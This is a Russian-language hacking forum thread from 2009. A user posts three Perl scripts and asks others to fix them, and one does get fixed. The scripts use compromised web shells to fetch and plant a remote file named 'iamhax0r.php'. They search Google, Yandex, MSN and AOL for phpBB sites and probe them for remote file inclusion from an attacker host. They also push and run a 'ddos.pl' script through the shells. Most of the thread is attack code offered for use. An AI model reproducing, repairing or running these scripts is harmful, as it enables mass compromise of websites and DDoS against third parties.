PDA

Просмотр полной версии : В чем ошибка? Perl


sNt
17.01.2009, 20:50
#!/usr/bin/perl

use strict;
use LWP::UserAgent;
use warnings;

our $sh_file = 'shells.txt';
our $reply = 'http://shell.narod.ru/p.php&url=http://src.by.ru/post.txt&kuda=./&name=iamhax0r.php';

open(SH,"$sh_file") or die "$!";
foreach(<SH>)
{
chomp;
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "$_$reply");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);

if($res->content =~ /You_the_mainest_evil_of_runet by Hell Knights Crew/) { print "[+] $_$reply\n"; }
else { print "[-] $_$reply\n"; }

}
close SH;

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;

our $h0pz = 20;
our $banner = 'kblance';
our $mask = 'BB/';
our $include = 'http://[my_shell]/script';
our $accord = 'vse_zaebis';

our @c0ntent = ();
our @uRLS = ();

#

sub aolCom
{

print "[:: aol.com ::]\n";

for(my $i = 1; $i <= $h0pz/10; $i++) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
#
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
#
my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
$req->header('Accept' => 'text/html');

my $res = $ua->request($req);

push @c0ntent, $res->content;
}

foreach(@c0ntent){push @uRLS, $_ =~ m{<b id="[^"]*">(.+?)</b>}smig;} #"
}



sub msnCom
{

print "[:: msn.com ::]\n";

for(my $i = 1; $i <= $h0pz; $i += 10) # скачим по страницам результатов
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://search.msn.com/results.aspx?q=$banner&first=$i&FORM=");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<h3><a.\w+\W{2}(.+?)\W>/g;} #"
}


sub yandex
{

print "[:: yandex.ru ::]\n";

for(my $i = 1; $i <= $h0pz/10; $i++)
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://ya.ru/yandpage?&q=744300646&p=$i&ag=d&qs=rpt%3Drad%26text%3D$banner");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /\W{3}.href\W{2}(.+?)\W.target/g;} #"
}



sub google
{

print "[:: google.com ::]\n";

for(my $i = 1; $i <= $h0pz; $i += 10)
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://google.com/search?q=$banner&hl=en&lr=&start=$i&sa=N");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
push @c0ntent, $res->content;
}
foreach(@c0ntent){push @uRLS, $_ =~ /<a.\w+\W{2}.\W.\w+\W{2}(.+?)\W>/g;} #"
}
sub filter # filter("список урлов");
{
print "[:: filtering ::]\n";
my (%uR,%glob);
foreach(@_) #
{
/(.+?$mask)/oi;
my $url = $1;
$uR{$_} = $url if /$mask/oi;
next if exists $uR{$_};
}

foreach(keys %uR)
{
/.+?\/\/.+?(\/.*$mask)/oi;

my $dir = $1;
my @own = split(/\//,$_);
unless($own[2] =~ /^www/) { $own[2] = "www.".$own[2]; } # здесь добавим "www" если они отсутствуют
$glob{$own[2]} = $dir; ь
}

return %glob;
}
sub fucking # fucking("\%glob");
{

print "[:: exploiting ::]\n";
foreach my $href(\%glob)
{
while(my($a,$b) = each %$href)
{
my $ua = LWP::UserAgent->new;
$ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent);
my $req = HTTP::Request->new(GET => "http://$a$b$include");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);

if($res->content =~ /$accord/oi)
{
print "[+] $a$b$include\n";
}
else
{
print "[-] $a$b$include\n";
}

}
}
}

#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
our $name = 'ddos.pl';
our $src = '';
our $dir = '/tmp/';
open(SH,"shell.txt") or die "$!";
chomp(our @sh = <SH>);
close SH;
foreach(@sh)
{
my $ua = new LWP::UserAgent;
my $res = $ua->request(POST "$_",
[
cmd => "echo $src>$name;perl $name",
dir => "$dir",
submit => ''
]);
if($res->{_rc} =~ /200/) { print "Reply [ok]\n"; }
}

Помогите плз довести до ума (во всех трех вариантах есь ошибки). Я просто не силен в перле и исправить не могу... :( С меня +++ :)

Kaimi
17.01.2009, 21:35
(во всех трех вариантах есь ошибки). Я просто не силен в перле...

А как определил что ошибки есть?

sNt
17.01.2009, 21:50
Все предельно просто! Они не запускаются и выводят ошибки! :) Так сможешь помочь?

Kaimi
17.01.2009, 21:56
А у меня запускаются и не выводят, хотя конечно строка
http://bla.ru/phpBB/index.php
во втором скрипте не в тему

sNt
17.01.2009, 22:05
первый вариант: Нету файла или диры C:\lala.php line 10 (какого файла? я все делал (файл клал), он грит "no such file or dir")
второй вариант: Global symbol "%glob" requires explicit package name at C:\lala.php line 124. Execution aborted
третий вариант: Нету файла или диры C:\lala.php line 10
В версиях перла (компилера) может быть трабла?

Kaimi
17.01.2009, 22:14
Попробуй файлы положить в C:\Documents and Settings\User
если под виндой...
Кстати, а почему lala.php ?)

sNt
17.01.2009, 22:18
Мне просто лень было прописывать пути... :) В третьем варианте "нету файла lala.php at line 9". Ему надо shell.txt. Я кидаю в одну папку, он тоже самое выдает
ЗЫ переместил. Первый вариант заработал